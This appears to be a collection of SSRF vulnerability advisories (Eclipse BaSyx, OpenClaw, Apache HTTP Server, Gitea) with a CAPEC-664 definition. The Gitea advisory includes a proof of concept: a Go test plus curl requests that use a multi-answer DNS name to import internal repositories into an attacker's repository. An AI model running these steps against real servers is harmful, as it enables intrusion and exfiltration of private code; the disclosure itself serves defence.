Vulnerability from github – Published: 2026-05-05 18:33 – Updated: 2026-05-11 16:23In Eclipse BaSyx Java Server SDK versions prior to 2.0.0-milestone-10, the Operation Delegation feature fails to validate the destination URI of delegated requests. An unauthenticated remote attacker can exploit this design flaw to force the BaSyx server to execute blind HTTP POST requests to arbitrary internal or external targets. This allows an attacker to bypass network segmentation and pivot into isolated internal IT/OT infrastructure or target Cloud Metadata services (IMDS).

Vulnerability from github – Published: 2026-06-18 20:11 – Updated: 2026-06-18 20:11Summary
Hostname checks could treat trailing-dot hosts inconsistently. In affected versions, a request path that accepts model- or workspace-derived URLs could present the same hostname with a trailing dot and avoid a blocklist comparison.
This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.
Impact
When the affected feature is enabled and reachable, this could reach a destination that the operator expected the hostname policy to block. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.
Patched Versions
The first stable patched version is 2026.5.26.
Mitigations
keep private-network and metadata destinations blocked at the proxy or network layer until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.

This issue affects Apache HTTP Server: from 2.4.0 through 2.4.63.
Note: The Apache HTTP Server Project will be setting a higher bar for accepting vulnerability reports regarding SSRF via UNC paths.
The server offers limited protection against administrators directing the server to open UNC paths. Windows servers should limit the hosts they will connect over via SMB based on the nature of NTLM authentication.

GHSA-H2X6-G7Q6-344V
Vulnerability from github – Published: 2026-07-21 20:37 – Updated: 2026-07-21 20:37Summary
Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.
An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.
Details
The issue is in services/migrations/migrate.go, in the migration allow/block-list check.
Current logic computes whether any resolved IP is allowed:
var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}
Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:
if !allowList.IsEmpty() {
if !allowList.MatchHostName(hostName) && !ipAllowed {
return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
}
}
This means a hostname resolving to both:
- an allowed public IP, e.g.
1.2.3.4 - a blocked internal IP, e.g.
127.0.0.1
passes validation because the public IP sets ipAllowed = true.
The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.
The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.
PoC
I verified the vulnerable predicate locally against Gitea checkout:
e8654c7e062431a521636703f47339cde64644fd
using Dockerized Go tests with golang:1.26.4.
The local test proves:
checkByAllowBlockList("loopback.example.test", [127.0.0.1])is rejected.checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1])is accepted.
Minimal reproducer at the validation layer:
func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
old := setting.Migrations
t.Cleanup(func() { setting.Migrations = old })
setting.Migrations.AllowedDomains = ""
setting.Migrations.BlockedDomains = ""
setting.Migrations.AllowLocalNetworks = false
require.NoError(t, Init())
err := checkByAllowBlockList("mixed.example.test", []net.IP{
net.ParseIP("1.2.3.4"),
net.ParseIP("127.0.0.1"),
})
require.NoError(t, err, "mixed public+loopback answers should currently pass")
err = checkByAllowBlockList("loopback.example.test", []net.IP{
net.ParseIP("127.0.0.1"),
})
require.Error(t, err, "loopback-only answer should be rejected")
}
To reproduce end-to-end:
- Run Gitea with repository migration enabled and
ALLOW_LOCALNETWORKS = false. - Create a normal non-admin user that can create repositories.
- Run an internal Git HTTP service reachable only from the Gitea server, for example on
127.0.0.1:18082. - Configure an attacker-controlled hostname so that DNS can return both a public address and
127.0.0.1, or can return a public address during Gitea's pre-flight validation and127.0.0.1during the later git clone. - Confirm the direct internal migration is rejected:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/repo.git",
"repo_name": "direct-internal",
"service": "git",
"private": true
}'
Expected direct result:
{"message":"You can not import from disallowed hosts."}
- Start a migration from the attacker-controlled multi-answer hostname:
curl -X POST http://GITEA/api/v1/repos/migrate \
-H "Authorization: token USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://mixed.example.test:18082/repo.git",
"repo_name": "multidns-ssrf",
"service": "git",
"private": true
}'
Expected vulnerable result:
- The migration request is accepted.
- The git subprocess can connect to the internal address.
- Internal repository contents are imported into the attacker's new Gitea repository.
Impact
This is a server-side request forgery in repository migration.
An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.
Potentially impacted resources include:
- internal Git repositories
- localhost-only services
- private network source-control services
- metadata or internal infrastructure endpoints if reachable and compatible with the request path
The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.
Suggested fix
The migration allow/block-list check should fail closed for multi-answer DNS:
- reject if any resolved IP is blocked
- require all resolved IPs to be allowed when an allow-list is active
- treat an empty resolution result as not IP-allowed
- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and
git clone
For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:
ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)

CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
